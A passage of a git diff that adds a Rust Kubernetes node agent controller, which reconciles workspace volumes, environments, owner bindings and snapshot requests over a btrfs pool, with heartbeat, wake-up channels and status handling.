region: &str, owner: &str) -> Result<(), ReconcileErr> { + let api: Api = Api::all(ctx.client.clone()); + let name = binding_name(region, owner); + let b = OwnerBinding::new( + &name, + OwnerBindingSpec { owner: owner.into(), region: region.into(), node_name: ctx.node.clone() }, + ); + match api.create(&PostParams::default(), &b).await { + Ok(_) => Ok(()), + Err(kube::Error::Api(s)) if s.code == 409 => Ok(()), + Err(e) => Err(e.into()), + } +} diff --git a/bins/agent/src/controller.rs b/bins/agent/src/controller.rs new file mode 100644 index 00000000..77047154 --- /dev/null +++ b/bins/agent/src/controller.rs @@ -0,0 +1,2313 @@ +//! The node-scoped controller: three reconcilers over the `rustic-git.io/v1alpha1` CRDs bound to +//! THIS node, converging the local btrfs pool and the node's pods toward what the specs ask for. +//! +//! `spec.nodeName` is the whole sharding story: two nodes cannot contend for one object because the +//! object names its node. There is no acquisition, no expiry, no requeue sweep — the queue, the +//! lease and the heartbeat this replaces were all re-implementations of what a watch already is. +//! +//! Long btrfs work runs on `spawn_blocking` (its own OS thread, its own tiny current-thread +//! runtime), not `tokio::spawn` on the shared reactor: `Engine::push`/`squash` block on `ws_lock`'s +//! synchronous `libc::flock`, and a `LocalSet`/single-reactor-thread design would let one +//! workspace's lock wait freeze every other in-flight operation. `spawn_blocking` also sidesteps +//! `WsClone`'s `&dyn Fn` stop/start hooks (no `+Send` bound in `engine::ops.rs`, out of scope to +//! change here) — they never have to cross an actual cross-thread `.await` boundary. + +use crate::{binding, claim, snapshot}; +use futures::StreamExt; +use k8s_openapi::api::apps::v1::{Deployment, StatefulSet}; +use k8s_openapi::api::core::v1::{LimitRange, Namespace, PersistentVolume, PersistentVolumeClaim, Pod, Service}; +use k8s_openapi::api::networking::v1::NetworkPolicy; +use k8s_openapi::api::rbac::v1::RoleBinding; +use k8s_openapi::apimachinery::pkg::apis::meta::v1::{Condition, OwnerReference}; +use kube::api::{Patch, PatchParams, PostParams}; +use kube::runtime::controller::{Action, Controller}; +use kube::runtime::finalizer::{finalizer, Event as FinalizerEvent}; +use kube::runtime::watcher; +use kube::{Api, Resource, ResourceExt}; +use rustic_git_workspaces::crd::{self, DesiredState, Phase, VolumeSource}; +use rustic_git_workspaces::engine::Engine; +use rustic_git_workspaces::k8s; +use rustic_git_workspaces::model; +use std::collections::HashMap; +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +/// While an operation runs, and while a stop is waiting for its push to land. Short on purpose: +/// these are progress checks, not retries. +pub(crate) const TICK: Duration = Duration::from_secs(15); +/// After a failure. The reconcile that observes it does not stamp `observedGeneration`, so the next +/// pass starts the work again — backoff, never give up. +const RETRY: Duration = Duration::from_secs(60); + +/// Keyed by uid, carrying the generation it was started for — see `Ctx::running`. +/// +/// The generation is in the VALUE, not the key. Keyed by `{uid, generation}` a spec edit during a +/// long push produced a new key, so the running handle was never looked up again: it was never +/// drained, never removed, and its btrfs work ran on unobserved. One entry per volume cannot leak, +/// and "is anything running for this volume" becomes answerable — which is what the delete path +/// needs. +pub type InFlight = HashMap>)>; + +/// The API tier's identity, which the per-namespace Secret grant names. Hard-coded: the API is +/// deployed by the manifests in `deploy/`, which name exactly these. +pub(crate) const API_SERVICE_ACCOUNT: &str = "rustic-git-api"; +pub(crate) const API_NAMESPACE: &str = "kube-system"; + +pub struct Ctx { + pub client: kube::Client, + pub engine: Arc, + pub node: String, + pub pool: String, + /// `WS_RUNTIME_CLASS`, e.g. `gvisor`. Empty means tenant pods run on the host kernel. + /// + /// Per-cluster, because a `runtimeClassName` naming a runtime the nodes have not got makes + /// every tenant pod fail to start. Enabling it belongs where the runtime is installed. + pub runtime_class: Option, + /// In-flight long btrfs operations, keyed by the uid of the object that asked for them (a + /// `Volume` being materialized, or a `SnapshotRequest` being pushed). THE idempotency guard, + /// and a local in-memory check rather than a distributed lease because exactly one agent ever + /// reconciles a given object: for a `Volume` that is the `spec.nodeName` field selector on the + /// watch, and for a `SnapshotRequest` — which names no node — it is `snapshot::my_volume`, + /// which acts only when the named Volume's `spec.nodeName` is this one. + pub running: Mutex, + /// A finished operation wakes its own reconciler instead of waiting out the `TICK` requeue: a + /// local clone's btrfs work takes under a second, and without this the object sat `progressing` + /// for the rest of the 15s tick because nothing but the clock ever looked at the handle again. + /// The requeue stays as the backstop — a dropped send costs a tick, never the object. + pub wake_volume: tokio::sync::mpsc::UnboundedSender>, + pub wake_snapshot: tokio::sync::mpsc::UnboundedSender>, + /// The same, for a finished Nix profile build — without it a workspace waits out the tick with + /// its pod ungated on a profile that is already on disk. + pub wake_workspace: tokio::sync::mpsc::UnboundedSender>, + /// The receiving halves, until `run` takes them and feeds each `Controller::reconcile_on`. + #[allow(clippy::type_complexity)] + pub wakes: Mutex< + Option<( + tokio::sync::mpsc::UnboundedReceiver>, + tokio::sync::mpsc::UnboundedReceiver>, + tokio::sync::mpsc::UnboundedReceiver>, + )>, + >, + /// Where `gitRepo` seeding clones from and with what. `WS_GIT_BASE` and the agent-side clone + /// are gone: the clone happens inside the pod, over SSH, as the owner. + pub git_ssh_host: String, + pub git_ssh_port: String, + pub git_init_image: String, + /// This node's region, from `WS_REGION` — the other half of an `OwnerBinding`'s identity. + pub region: String, + /// The roles this node carries, read ONCE from its own `Node` labels at startup + /// (`rustic-git.io/session`, `rustic-git.io/env`). A second, hand-maintained copy of a label + /// the scheduler already reads is a second thing that can be wrong — see `k8s::placement`. + pub roles: Vec, + /// The one Nix client, behind a trait so the reconciler is tested with a fake instead of a + /// real daemon and store. + pub nix: Arc, + /// The spec hash each in-flight profile build was STARTED from, keyed like `running`. Without + /// it a spec edit during a build is lost: the finished build is published as if it were the + /// new spec, stamped with the new hash, and never rebuilt. + pub profile_builds: Mutex>, + /// Where this node's per-workspace profile links live (`nix::PROFILES_DIR` in production). A + /// field and not a global so a test can point it at a tempdir without racing every other test. + pub profiles_dir: std::path::PathBuf, + /// Makes a workspace's SSH host key. Behind a trait so tests never shell out to `ssh-keygen`. + pub host_keys: Arc, +} + +impl Ctx { + #[allow(clippy::too_many_arguments)] + pub fn new(client: kube::Client, engine: Arc, node: String, pool: String, region: String, roles: Vec, nix: Arc, profiles_dir: std::path::PathBuf, host_keys: Arc) -> Ctx { + let runtime_class = std::env::var("WS_RUNTIME_CLASS").ok().filter(|v| !v.is_empty()); + if let Some(rc) = &runtime_class { + tracing::info!(runtime_class = %rc, "tenant pods will run sandboxed"); + } + let (wake_volume, vol_rx) = tokio::sync::mpsc::unbounded_channel(); + let (wake_snapshot, snap_rx) = tokio::sync::mpsc::unbounded_channel(); + let (wake_workspace, ws_rx) = tokio::sync::mpsc::unbounded_channel(); + Ctx { + wake_volume, + wake_snapshot, + wake_workspace, + wakes: Mutex::new(Some((vol_rx, snap_rx, ws_rx))), + client, + engine, + node, + pool, + git_ssh_host: std::env::var("WS_GIT_SSH_HOST").unwrap_or_else(|_| "git.khost.dev".into()), + git_ssh_port: std::env::var("WS_GIT_SSH_PORT").unwrap_or_else(|_| "22".into()), + git_init_image: std::env::var("WS_GIT_INIT_IMAGE").unwrap_or_else(|_| "alpine/git:2.45.2".into()), + runtime_class, + running: Mutex::new(HashMap::new()), + region, + roles, + nix, + profiles_dir, + profile_builds: Mutex::new(HashMap::new()), + host_keys, + } + } +} + +/// What a finished volume operation has to say about the pool, drained into status on a later pass. +#[derive(Debug, Default)] +pub struct Done { + pub phase: Phase, + pub lineage_tip: Option, + /// The snapshot an in-place restore materialized, echoed into `status.restoredTo` — the field + /// both this controller and the parent read to tell "already done" from "not yet". + pub restored_to: Option, + /// Why `spec.quotaGb` is NOT enforced on disk, when it is not — surfaced as `QuotaEnforced` + /// rather than failing the volume: a pool without qgroups is the operator's to fix, and a + /// usable-but-uncapped volume beats an unusable one. + pub quota_unenforced: Option, +} + +#[derive(Debug)] +pub struct ReconcileErr(pub String); + +impl std::fmt::Display for ReconcileErr { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(&self.0) + } +} +impl std::error::Error for ReconcileErr {} +impl From for ReconcileErr { + fn from(e: kube::Error) -> Self { + ReconcileErr(e.to_string()) + } +} + +/// Runs all three controllers to completion (i.e. forever). Returns only on shutdown signal. +/// Map a namespaced child back to its CLUSTER-SCOPED owner. +/// +/// `Controller::owns` cannot be used here. It derives the parent's `ObjectRef` from the child's +/// owner reference AND the child's namespace — correct when parent and child share a namespace, +/// wrong when the parent is cluster-scoped. It produced refs like +/// `Environment.../env-abc.env-env-abc` and every reconcile triggered by a child event then failed +/// with "not found in local store", so an environment converged once on creation and never +/// responded to its StatefulSets changing again. +fn owned_by(child: &C) -> Option> +where + P: Resource, + C: Resource, +{ + child + .meta() + .owner_references + .as_ref()? + .iter() + .find(|r| r.controller.unwrap_or(false) && r.kind == P::kind(&())) + // Deliberately no `.within(..)`: the parent has no namespace to be within. + .map(|r| kube::runtime::reflector::ObjectRef::

::new(&r.name)) +} + +/// An mpsc receiver as the `Stream` `reconcile_on` wants — `futures` already has the adapter, so +/// this costs no dependency. +fn wake_stream( + rx: tokio::sync::mpsc::UnboundedReceiver, +) -> impl futures::Stream + Send + 'static { + futures::stream::unfold(rx, |mut rx| async move { rx.recv().await.map(|v| (v, rx)) }) +} + +/// Count and time one reconcile per kind. Wrapped here, at the five `.run` sites, rather than +/// inside each reconciler: the reconcilers return early from many places, and this is the one +/// spot that sees every exit. +async fn timed(kind: &'static str, fut: impl std::future::Future>) -> Result { + let start = std::time::Instant::now(); + let r = fut.await; + let result = if r.is_ok() { "ok" } else { "error" }; + metrics::counter!("reconciles_total", "kind" => kind, "result" => result).increment(1); + metrics::histogram!("reconcile_duration_seconds", "kind" => kind).record(start.elapsed().as_secs_f64()); + r +} + +pub async fn run(ctx: Arc) -> Result<(), String> { + // Before the watches: a node with nothing to do must still be able to prove it is alive. + heartbeat(&ctx.pool); + spawn_heartbeat(ctx.clone()); + // NB the RBAC grant is cluster-wide — a field selector narrows a watch, never authorization. + let mine = watcher::Config::default().fields(&format!("spec.nodeName={}", ctx.node)); + // The completion wake-ups (see `wake_on_finish`). Taken once; a second `run` on one Ctx would + // be two agents in one process, which is not a thing. + let (vol_wakes, snap_wakes, ws_wakes) = + ctx.wakes.lock().unwrap_or_else(|p| p.into_inner()).take().ok_or("the wake channels are already taken")?; + let volumes = Controller::new(Api::::all(ctx.client.clone()), mine.clone()) + .reconcile_on(wake_stream(vol_wakes)) + .shutdown_on_signal() + .run(|v, c| timed("volume", reconcile_volume(v, c)), error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "volume reconcile") + } + }); + // Placement is a status fact now, so the node's own Workspaces and Environments are selected + // by `status.nodeName` — `mine` (`spec.nodeName`) stays for the kinds the API still places. + let placed = watcher::Config::default().fields(&format!("status.nodeName={}", ctx.node)); + // Label-selected, not every Pod in the cluster: a controller that streams every pod event in + // the cluster to filter for its own is the cheapest way to peg an API server. + let our_pods = watcher::Config::default().labels(&format!("{}=workspace", k8s::KIND_LABEL)); + let workspaces = Controller::new(Api::::all(ctx.client.clone()), placed.clone()) + .reconcile_on(wake_stream(ws_wakes)) + .watches(Api::::all(ctx.client.clone()), our_pods, |p| owned_by::(&p)) + // The parent acts on the child's STATUS, so it must wake when that status moves — the 15s + // requeue is the backstop, never the mechanism. Scoped to this node's Volumes: the child is + // authored on the parent's node, so a Volume elsewhere can never own a Workspace here. + // + // ponytail: a CLONE also waits on its source Workspace's placement, which no ownerReference + // carries, and it converges on the 15s tick rather than a watch — the fan-out (source → + // every clone of it) needs a reflector store indexed by `storage.source.cloneOf`, and the + // mapper is a sync `FnMut` that must not do I/O. Wire the store if that latency is felt. + .watches(Api::::all(ctx.client.clone()), mine.clone(), |v| owned_by::(&v)) + .shutdown_on_signal() + .run(|w, c| timed("workspace", reconcile_workspace(w, c)), error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "workspace reconcile") + } + }); + let mine_bindings = mine.clone(); + let env_pods = watcher::Config::default().labels(&format!("{}=environment", k8s::KIND_LABEL)); + let environments = Controller::new(Api::::all(ctx.client.clone()), placed) + .watches(Api::::all(ctx.client.clone()), watcher::Config::default(), |d| { + owned_by::(&d) + }) + // A restore waits for the service pods to be GONE, not scaled down — and the StatefulSet + // stops reporting a terminating pod the moment it is marked for deletion, seconds before + // the process has exited. That wake arrives too early, and without this one the drain + // would sit out the full requeue tick. The pod's owner is a ReplicaSet, so the namespace + // is the link — and `crd::env_namespace` makes it the Environment's own name. + .watches(Api::::all(ctx.client.clone()), env_pods, |p| { + Some(kube::runtime::reflector::ObjectRef::::new(p.metadata.namespace.as_deref()?)) + }) + // The env's own Volume child: it waits on that child's STATUS, so it must wake when the + // status moves. Scoped to this node's Volumes — the child is authored on the parent's node. + .watches(Api::::all(ctx.client.clone()), mine.clone(), |v| owned_by::(&v)) + // The `stop-{env}` snapshot, which the stop path waits on. Its ownerReference is the link: + // an environment parked at `StopSnapshotFailed` returns `await_change`, so without this + // watch nothing would ever wake it — not even the operator deleting the failed request. + .watches(Api::::all(ctx.client.clone()), watcher::Config::default(), |r| { + owned_by::(&r) + }) + .shutdown_on_signal() + .run(|e, c| timed("environment", reconcile_environment(e, c)), error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "environment reconcile") + } + }); + // Unplaced objects, one watch per ROLE this node carries. `status.nodeName=` (empty) is a + // legal field selector because the CRD declares `.status.nodeName` selectable — and the claim + // is what moves the object out of this watch and into the node's own, with no poll in between. + let unplaced = watcher::Config::default().fields("status.nodeName="); + // ponytail: a node carrying BOTH labels (the dev `session-0`) runs both claim watches and so + // races peers for Environments as well as Workspaces. The claim is atomic, so this is correct + // rather than merely tolerated — the only consequence is that an Environment can land on the + // session node. Single-label nodes are the intended production shape; if mixed nodes ever + // become normal, the fix is a role check inside the claim, not here. + let claim_ws = ctx.roles.iter().any(|r| r == "session").then(|| { + Controller::new(Api::::all(ctx.client.clone()), unplaced.clone()) + .shutdown_on_signal() + .run(|w, c| timed("claim", async move { claim::claim_workspace(&w, &c).await }), error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "workspace claim") + } + }) + }); + let bindings = Controller::new(Api::::all(ctx.client.clone()), mine_bindings) + // A new Workspace of this owner may need a new TEAM namespace, so the binding reconciles + // on it. Mapped by `spec.owner`, not by ownerReference: the binding is not the Workspace's + // parent, it is the thing that makes its namespace exist. + .watches(Api::::all(ctx.client.clone()), watcher::Config::default(), { + let region = ctx.region.clone(); + move |w: crd::Workspace| { + Some(kube::runtime::reflector::ObjectRef::::new(&crd::binding_name( + ®ion, + &w.spec.owner, + ))) + } + }) + .shutdown_on_signal() + .run(|b, c| timed("binding", async move { binding::apply_binding(&b, &c).await }), error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "ownerbinding reconcile") + } + }); + // No `mine`: the request carries no node (a node is a controller-owned fact and the API does + // not copy facts into spec), so ownership is resolved per-object from the named Volume. + // ponytail: every agent streams every request — two nodes today, so the fan-out is two. A + // `spec.volume`-indexed reflector is the upgrade if the request count ever makes this hot. + let snapshots = Controller::new(Api::::all(ctx.client.clone()), watcher::Config::default()); + // The controller's OWN reflector store, not a second one: it is already populated by the watch + // above, so the mapper below is a synchronous scan of memory with no I/O — which is all a + // `watches` mapper is allowed to be. + let requests = snapshots.store(); + let snapshots = snapshots + .reconcile_on(wake_stream(snap_wakes)) + // A request created before its Volume is placed waits, and this is what wakes it. `Volume` + // and `SnapshotRequest` share no name and no ownerReference — `spec.volume` is the only + // link — so the store is what turns one Volume event into the requests that named it. + .watches(Api::::all(ctx.client.clone()), mine.clone(), move |v: crd::Volume| { + requests_naming(&requests.state(), &v.name_any()) + }) + .shutdown_on_signal() + .run(snapshot::reconcile_snapshot, error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "snapshot reconcile") + } + }); + let claim_env = ctx.roles.iter().any(|r| r == "env").then(|| { + Controller::new(Api::::all(ctx.client.clone()), unplaced) + .shutdown_on_signal() + .run(|e, c| async move { claim::claim_environment(&e, &c).await }, error_policy, ctx.clone()) + .for_each(|r| async move { + if let Err(e) = r { + tracing::warn!(error = %e, "environment claim") + } + }) + }); + tokio::join!( + volumes, + workspaces, + environments, + bindings, + snapshots, + futures::future::OptionFuture::from(claim_ws), + futures::future::OptionFuture::from(claim_env), + ); + Ok(()) +} + +/// Every request in the store that names this volume, as refs to reconcile. +/// +/// Split out of the `watches` mapper only so it is testable without a live reflector; the mapper +/// itself must stay a synchronous scan of memory, which is what this is. +pub fn requests_naming( + requests: &[Arc], + volume: &str, +) -> Vec> { + requests + .iter() + .filter(|r| r.spec.volume == volume) + .map(|r| kube::runtime::reflector::ObjectRef::::new(&r.name_any())) + .collect() +} + +/// Every reconcile error is a requeue with backoff. There is deliberately no branch that concludes +/// "reality doesn't match, so delete it" — see the keep-biased rule, and `crates/registry/src/gc.rs`. +fn error_policy>(obj: Arc, err: &ReconcileErr, _ctx: Arc) -> Action { + // Named, because three controllers share this policy: an unattributed "reconcile failed" line + // says nothing about which object is stuck or even which kind it was. + tracing::warn!(kind = %K::kind(&()), name = %obj.name_any(), error = %err, "reconcile failed, requeueing"); + Action::requeue(RETRY) +} + +/// Proof of life for the DaemonSet's liveness probe: a watch that silently died looks identical +/// from the outside without it. +/// +/// Synchronous, and only ever called from `spawn_heartbeat`'s own task — never from a reconcile. +/// The reconcilers used to call it directly, which put a blocking `write` on the reactor for no +/// gain: the periodic beat already proves liveness, and it proves MORE (it makes a real API call +/// first), so a reconcile touching the file added nothing but the blocking call. +fn heartbeat(pool: &str) { + let _ = std::fs::write(std::path::Path::new(pool).join(".agent-heartbeat"), b"ok"); +} + +/// Beat independently of whether there is anything to reconcile. +/// +/// Reconciles alone are not proof of life: a node with no workspaces on it never reconciles, so an +/// idle controller would look exactly like a dead one and its own liveness probe would kill it — +/// observed on a second node the first time this shipped as a DaemonSet. +/// +/// The beat is a real API call rather than a bare timer, because "the process is still scheduled" +/// is not the property the probe is for. A cheap capped list exercises the same connection, +/// credentials and CRD registration the watches depend on, so a controller that has lost the API +/// server stops beating instead of reporting healthy while converging nothing. +fn spawn_heartbeat(ctx: Arc) { + tokio::spawn(async move { + let api: Api = Api::all(ctx.client.clone()); + let mut tick = tokio::time::interval(std::time::Duration::from_secs(30)); + tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + loop { + tick.tick().await; + match api.list(&kube::api::ListParams::default().limit(1)).await { + Ok(_) => heartbeat(&ctx.pool), + Err(e) => tracing::error!(error = %e, "heartbeat: api unreachable, not beating"), + } + } + }); +} + +/// Poison-tolerant, like `auth_cache` and the manifest cache elsewhere in this workspace: a panic +/// while this lock was held must not turn every later reconcile into a panic of its own. The map +/// holds join handles, which nothing half-finished can leave inconsistent. +/// Wrap a blocking operation's handle so that finishing also wakes the reconciler. +/// +/// The map keeps the `JoinHandle` semantics it always had — this is still one handle per uid, +/// still drained by the pass that observes it — the only addition is the send. The wake goes out +/// as the wrapper's last act, so a reconcile that arrives in the sliver before the task is marked +/// finished simply sees "still running" and falls back on the `TICK` requeue, as it does today. +pub fn wake_on_finish( + inner: tokio::task::JoinHandle>, + tx: tokio::sync::mpsc::UnboundedSender, + msg: T, +) -> tokio::task::JoinHandle> { + tokio::spawn(async move { + let out = inner.await.unwrap_or_else(|e| Err(format!("operation panicked: {e}"))); + // A closed receiver means the controller is shutting down; the requeue covers it. + let _ = tx.send(msg); + out + }) +} + +pub fn running_contains(ctx: &Arc, uid: &str) -> bool { + ctx.running.lock().unwrap_or_else(|p| p.into_inner()).contains_key(uid) +} + +/// Heal the listing labels from the spec. +/// +/// `spec.owner` is the truth; `rustic-git.io/owner` is a VIEW of it that exists because label +/// selectors are indexed by every API server and an arbitrary spec field is not. Same rule the +/// registry states for its `index/` markers: a view for listings, never authorization, reconciled +/// by the owner. +/// +/// Without this the view is only as good as whoever wrote the object. An object created by any +/// path that does not stamp the label — a restored backup, a migration, an operator with kubectl — +/// is owned correctly and yet invisible to `/v1`'s list forever, which makes "the CRD is the source +/// of truth" false in the one place a user would notice. +async fn heal_labels(api: &Api, obj: &K, owner: &str, team: &str, kind: &str) -> Result<(), ReconcileErr> +where + K: Resource + Clone + serde::Serialize + serde::de::DeserializeOwned + std::fmt::Debug, + K::DynamicType: Default, +{ + let cur = obj.meta().labels.as_ref(); + let ok = |k: &str, v: &str| cur.and_then(|l| l.get(k)).map(String::as_str) == Some(v); + if ok(k8s::OWNER_LABEL, owner) && ok(k8s::KIND_LABEL, kind) && ok(k8s::TEAM_LABEL, team) { + return Ok(()); + } + let patch = serde_json::json!({ + "metadata": { "labels": { k8s::OWNER_LABEL: owner, k8s::KIND_LABEL: kind, k8s::TEAM_LABEL: team } } + }); + api.patch(&obj.name_any(), &PatchParams::default(), &Patch::Merge(&patch)).await?; + tracing::info!(name = %obj.name_any(), %owner, "healed listing labels from spec"); + Ok(()) +} + +pub fn owner_ref_of_kind>(obj: &K) -> Result { + obj.controller_owner_ref(&()).ok_or_else(|| ReconcileErr("object has no uid".into())) +} + +// ── volumes ────────────────────────────────────────────────────────────── + +async fn reconcile_volume(v: Arc, ctx: Arc) -> Result { + let api: Api = Api::all(ctx.client.clone()); + finalizer(&api, crd::SUBVOLUME_FINALIZER, v, |event| async { + match event { + // Deleting a Volume blocks until cleanup_local has run: containers gone first (GC via + // ownerReferences), then the subvolume, then the object disappears. That ordering is + // what makes audit H5 (a deleted workspace resurrected by an in-flight job) + // unexpressible rather than patched. + FinalizerEvent::Cleanup(v) => cleanup_volume(&v, &ctx).await, + FinalizerEvent::Apply(v) => apply_volume(&v, &ctx).await, + } + }) + .await + .map_err(|e| ReconcileErr(e.to_string())) +} + +pub async fn apply_volume(v: &crd::Volume, ctx: &Arc) -> Result { + let gen = v.meta().generation.unwrap_or(0); + let uid = v.uid().unwrap_or_default(); + let observed = v.status.as_ref().and_then(|s| s.observed_generation) == Some(gen); + let restored_to = v.status.as_ref().and_then(|s| s.restored_to.clone()); + let restored_at = v.status.as_ref().and_then(|s| s.restore_requested_at.clone()); + // A wish already granted is not a wish. The PAIR, never the snapshot id alone: restoring the + // same snapshot twice is a legitimate thing to ask for, and comparing ids alone makes the + // second ask a silent no-op. Same guard the parent applies, deliberately — the parent decides + // when it is SAFE to restore, this decides whether there is anything to restore, and neither + // trusts the other to have checked. + let restore = v.spec.restore_to.clone().filter(|w| !crd::wish_granted(w, restored_to.as_deref(), restored_at.as_deref())); + + // 1. Nothing asked for. Pushing is a `SnapshotRequest` with its own reconciler now, so a + // materialized volume at its current generation has nothing left for this pass to do. + if observed && !running_contains(ctx, &uid) { + return Ok(Action::await_change()); + } + + // 2. An operation for this volume exists: drain it if finished, otherwise let it run. A handle + // started for an OLDER generation is still drained here rather than abandoned — it holds the + // volume's flock, so starting a second one would block on it anyway. + let (finished, still_running) = { + let mut running = ctx.running.lock().unwrap_or_else(|p| p.into_inner()); + match running.get(&uid) { + Some((_, h)) if h.is_finished() => (running.remove(&uid), false), + Some(_) => (None, true), + None => (None, false), + } + }; + if still_running { + write_volume_status(v, progressing(v, gen), ctx).await?; + return Ok(Action::requeue(TICK)); + } + if let Some((started_gen, handle)) = finished { + let outcome = handle.await.unwrap_or_else(|e| Err(format!("operation panicked: {e}"))); + return match outcome { + Ok(done) => { + let mut st = crd::VolumeStatus { + phase: done.phase, + restored_to: done.restored_to.clone().or(restored_to.clone()), + restore_requested_at: match &done.restored_to { + // Stamped together or not at all: a `restoredTo` without the wish that + // asked for it makes every later wish look already-granted. + Some(_) => v.spec.restore_to.as_ref().map(|w| w.requested_at.clone()), + None => restored_at.clone(), + }, + // The generation the work actually ran for, not the current one: a spec edited + // mid-operation must not be reported as observed by an operation that never + // saw it. When they differ this leaves the object unobserved, so the next pass + // starts the new work — which is the intended behaviour. + observed_generation: Some(started_gen), + subvolume_present: true, + lineage_tip: done.lineage_tip.or_else(|| v.status.as_ref().and_then(|s| s.lineage_tip.clone())), + progress: None, + conditions: vec![], + }; + st.conditions = vec![crd::condition("Ready", true, "Converged", "volume is materialized", gen)]; + if let Some(why) = &done.quota_unenforced { + st.conditions.push(crd::condition("QuotaEnforced", false, "QuotaUnavailable", why, gen)); + } + write_volume_status(v, st, ctx).await?; + Ok(Action::await_change()) + } + // `observedGeneration` is deliberately NOT stamped: an unobserved generation is what + // makes the next pass try again. Nothing is deleted, nothing is marked permanently + // failed — the keep-biased rule, applied to the error path. + // + // Except for the three the engine names: a snapshot id with no record behind it, a + // region this node holds no credentials for, and a blob the store says is absent or + // forbidden (a timeout is the world's, and comes back unmarked). All + // three are the spec's or the deploy's fault, not the world's — retrying them at RETRY + // forever is the hot loop `check_source` exists to prevent, so they settle instead. + Err(e) if permanent_reason(&e).is_some() => { + let reason = permanent_reason(&e).unwrap(); + let present = ctx.engine.pool.live(&v.name_any()).exists(); + let prev = v.status.as_ref().and_then(|s| s.lineage_tip.clone()); + let restored = restored_to.clone(); + let restored_at_err = restored_at.clone(); + return settle( + Outcome::Permanent(e, reason), + v, + "Volume", + gen, + move |cond| { + serde_json::json!({ + "phase": Phase::Error, + "subvolumePresent": present, + "lineageTip": prev, + "restoredTo": restored, + "restoreRequestedAt": restored_at_err, + "conditions": [cond], + }) + }, + ctx, + ) + .await; + } + Err(e) => { + let st = crd::VolumeStatus { + phase: Phase::Error, + observed_generation: v.status.as_ref().and_then(|s| s.observed_generation), + restored_to: restored_to.clone(), + restore_requested_at: restored_at.clone(), + subvolume_present: ctx.engine.pool.live(&v.name_any()).exists(), + lineage_tip: v.status.as_ref().and_then(|s| s.lineage_tip.clone()), + progress: None, + conditions: vec![crd::condition("Ready", false, "OperationFailed", &e, gen)], + }; + write_volume_status(v, st, ctx).await?; + Ok(Action::requeue(RETRY)) + } + }; + } + + // 3. Start it, on its own OS thread (see the module doc for why), and observe it later. + let engine = ctx.engine.clone(); + let id = v.name_any(); + let owner = v.spec.owner.clone(); + let source = v.spec.source.clone(); + // An in-place restore REPLACES the materialize step: re-running the original source's + // materialize in the same pass would fetch a lineage this volume is about to stop having. + let materialize = !observed && restore.is_none(); + let quota_gb = v.spec.quota_gb; + let handle = tokio::task::spawn_blocking(move || { + volume_work(&engine, Work { id, owner, source, materialize, restore, quota_gb }) + }); + let handle = wake_on_finish( + handle, + ctx.wake_volume.clone(), + kube::runtime::reflector::ObjectRef::::new(&v.name_any()), + ); + ctx.running.lock().unwrap_or_else(|p| p.into_inner()).insert(uid, (gen, handle)); + write_volume_status(v, progressing(v, gen), ctx).await?; + Ok(Action::requeue(TICK)) +} + +/// The engine's named permanent failures, mapped to the condition `reason` a person reads in +/// `kubectl describe`. Anything else is transient and retried. +fn permanent_reason(e: &str) -> Option<&'static str> { + use rustic_git_workspaces::engine::ops::{FETCH_FAILED, NO_SUCH_RECORD, REGION_UNREACHABLE}; + // Region first: a cross-region restore with no credentials also cannot fetch, and naming the + // missing credentials is the actionable half. + [(REGION_UNREACHABLE, "RegionUnreachable"), (NO_SUCH_RECORD, "NoSuchSnapshot"), (FETCH_FAILED, "FetchFailed")] + .into_iter() + .find(|(marker, _)| e.contains(marker)) + .map(|(_, reason)| reason) +} + +fn progressing(v: &crd::Volume, gen: i64) -> crd::VolumeStatus { + let prev = v.status.clone().unwrap_or_default(); + crd::VolumeStatus { + phase: Phase::Working, + conditions: vec![crd::condition("Progressing", true, "Working", "btrfs operation in flight", gen)], + ..prev + } +} + +/// One volume's whole unit of work, on its own OS thread with its own tiny current-thread runtime, +/// exactly as `run_job_blocking` did and for the same reason (see the module doc). +/// Everything one volume operation needs, as a struct rather than positional arguments that were +/// trivially swappable at the call site. +pub struct Work { + pub id: String, + pub owner: String, + pub source: Option, + pub materialize: bool, + /// An in-place restore of THIS volume's own `live`, already gated by the parent (services + /// down) and by `apply_volume` (not already restored). + pub restore: Option, + pub quota_gb: u64, +} + +fn volume_work(engine: &Engine, w: Work) -> Result { + let Work { id, owner, source, materialize, restore, quota_gb } = w; + let (id, owner) = (id.as_str(), owner.as_str()); + let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().map_err(|e| e.to_string())?; + rt.block_on(async { + if materialize { + // The owner breadcrumb `Engine::push`'s detached `squash` child reads back — written + // before anything can push, and re-written on every materialize because a rebuilt node + // has the subvolume without the file. + crate::record_owner(&engine.pool.root.to_string_lossy(), id, owner); + match &source { + None => engine.create_subvol(id).map_err(|e| e.to_string())?, + Some(VolumeSource::CloneOf { volume }) => { + engine.clone_local_ids(owner, volume, id).await.map_err(|e| e.to_string())? + } + // `owner` is the SOURCE's registry label and `region` the region the RECORD names, + // both resolved by the API. Neither is the destination's: a member restoring a + // team's environment creates it under the team, and the volume it reads lives + // under the team's label too — using the destination owner for both looked up + // `karthik/env-x` for a snapshot that only exists as `acme/env-x` and failed + // NoSuchSnapshot. `None` (any source written before the fields existed) means the + // destination's own. + Some(VolumeSource::RestoreOf { volume, snapshot_id, owner: src_owner, region }) => { + let src_owner = src_owner.as_deref().unwrap_or(owner); + engine + .restore(src_owner, volume, snapshot_id, id, region.as_deref()) + .await + .map_err(|e| e.to_string())? + } + // Empty, deliberately: a `GitRepo` volume is seeded by the workspace pod's INIT + // CONTAINER, inside the workspace, over SSH, as the owner. The agent no longer + // holds a credential that could clone on the user's behalf. + Some(VolumeSource::GitRepo { .. }) => engine.create_subvol(id).map_err(|e| e.to_string())?, + } + } + // In place, and staged: `restore` materializes into a throwaway id, so a failed fetch + // leaves `live` exactly as it was, and `replace_live` keeps the pre-restore bytes as a + // local RO snapshot before swapping. Nothing here can lose the current state silently. + if let 